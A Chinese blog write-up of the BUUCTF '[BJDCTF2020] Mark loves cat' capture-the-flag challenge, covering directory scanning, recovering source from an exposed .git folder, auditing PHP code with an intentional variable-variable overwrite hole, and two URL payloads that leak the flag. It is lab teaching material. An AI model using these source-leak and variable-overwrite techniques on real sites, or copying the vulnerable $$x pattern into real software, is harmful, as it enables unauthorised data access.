BUUCTF[BJDCTF2020]Mark loves cat 1

考点:

  1:漏洞扫面工具的使用(dirsearch   githack)

  2:php代码审计

进入靶场:

 发现所有的链接都是指向自己的

用dirsearch进行扫描

发现/.git泄露

用githack把内容下下来、

 flag.php中的内容

<?php

$flag = file_get_contents('/flag');

index.php中的内容

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';
#foreach 遍历数组
#传入的post值会经过这,例:传入flag=flag,得到$x=flag,$y=flag,则$flag=flag;将会得不到flag的值
foreach($_POST as $x => $y){
    $$x = $y;
}
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    #get传入flag变量且值不为flag
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);#exit()函数输出一条消息,并退出当前脚本。
    }
}
#get和post传参不能有flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
#用post或get传的参数必须是flag且值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}




echo "the flag is: ".$flag;

第一种方法:

#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}
#用post或get传的参数必须是flag且值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

首先传入is=flag,得到$x=is,$y=flag. 带进去变成$is=$flag;

if要求用post或get传入flag=flag,就会打印$is。而且经过foreach函数时得到$flag=$flag。没有改变内容。

即最终payload:/?is=flag&flag=flag

 

第二种方法:

#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}
#get和post传参不能有flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

最终输出$yds,和第一种一样,先构造yds=flag,

if要求get和post不能有flag函数。直接忽略

即payload:/?yds=flag

 

用过了$yds和$is,来看看$handsome能不能用

foreach($_GET as $x => $y){
    #git传入flag变量且值不为flag
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);#exit()函数输出一条消息,并退出当前脚本。
    }
}

传入的变量必须为flag且值不能为flag。就相当于改变了flag的值,不能使用。

 

在网页代码中找到flag

 

posted @ 2021-12-04 11:22  LoYoHo00  阅读(289)  评论(0编辑  收藏  举报
levels of contents